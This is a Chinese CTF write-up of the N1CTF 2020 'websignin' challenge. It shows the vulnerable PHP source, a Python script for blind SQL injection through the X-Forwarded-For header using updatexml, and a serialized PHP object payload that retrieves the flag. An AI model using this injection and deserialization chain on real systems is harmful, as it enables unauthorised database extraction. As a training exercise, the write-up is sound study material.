HacKerQWQ的博客空间

N1CTF_websignin(sql注入&逻辑)

Word count: 754Reading time: 3 min
2020/10/20 Share

前言

这题好气,知道\_tostring()怎么利用,知道要从数据库里面取出key来,想到了基于时间的注入,也考虑了报错注入,但是没有想到_stristr()的另一个作用,多角度思考还是得锻炼

websignin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php 
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}

class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}

}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}

要得到flag得触发getflag()函数并且check得和key一样,因此想到了从上面的ip类中利用XFF的sql注入得到key,方法是利用stristr()触发\_tostring函数,并且伪造XFF头来注入sql语句
问题:
基于时间的注入基本所有函数都被ban掉了,sleep(),benchmark(),还有上网找的一些不常见的也被ban了,waf内容也不知道,因此只剩下报错注入了(早该想到这一点),利用mysql_error()来返回我们构造好的比如说updatexml(1,concat(0x7e,if((select substr(verion(),2,1)="{}"),'n1ctf',1))),1),当我们条件为真的时候,返回”n1ctf”让页面显示welcome to n1ctf2020,典型的布尔盲注,只不过绕的弯子比较多
剩下就交给python了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

payload = "123.123.123.123' or updatexml(1,concat(0x7e,(select if((select substr((select `key` from `n1key`),{a},1)='{b}'),'n1ctf',1))),0) " \
"or '"
url = "http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A1%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B%7D%7D"

strings = "1234567890qwertyuiopasdfghjklzxcvbnm,.~{}"
# print(strings)

version = ""
for i in range(50):
for s in strings:
# print(i,s)
# print(payload.format(a=i, b=s))
# print(payload)
headers = {"X-Forwarded-For": payload.format(a=i, b=s)}
# print(headers)
r = requests.get(url=url, headers=headers)
# print(r.text)
if r.text.count("welcome to n1ctf2020") == 2:
print(s+"is find!")
version += s
print("now data is: "+version)
print("data is :"+version)

运行之后可以得到key

然后构造带有正确check的flag类

1
2
3
$f = new flag('n1ctf');
$f -> check = "n1ctf20205bf75ab0a30dfc0c";
echo urlencode(serialize($f));

得到final payload

1
O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3Bs%3A5%3A%22n1ctf%22%3Bs%3A5%3A%22check%22%3Bs%3A25%3A%22n1ctf20205bf75ab0a30dfc0c%22%3B%7D

小结

发散思维,多考虑几个方面,时间注入不行就想报错注入,多看几遍源码找到新的突破点,这题没做出来有点可惜的,下次加油!

CATALOG
  1. 1. 前言
  2. 2. websignin
  3. 3. 小结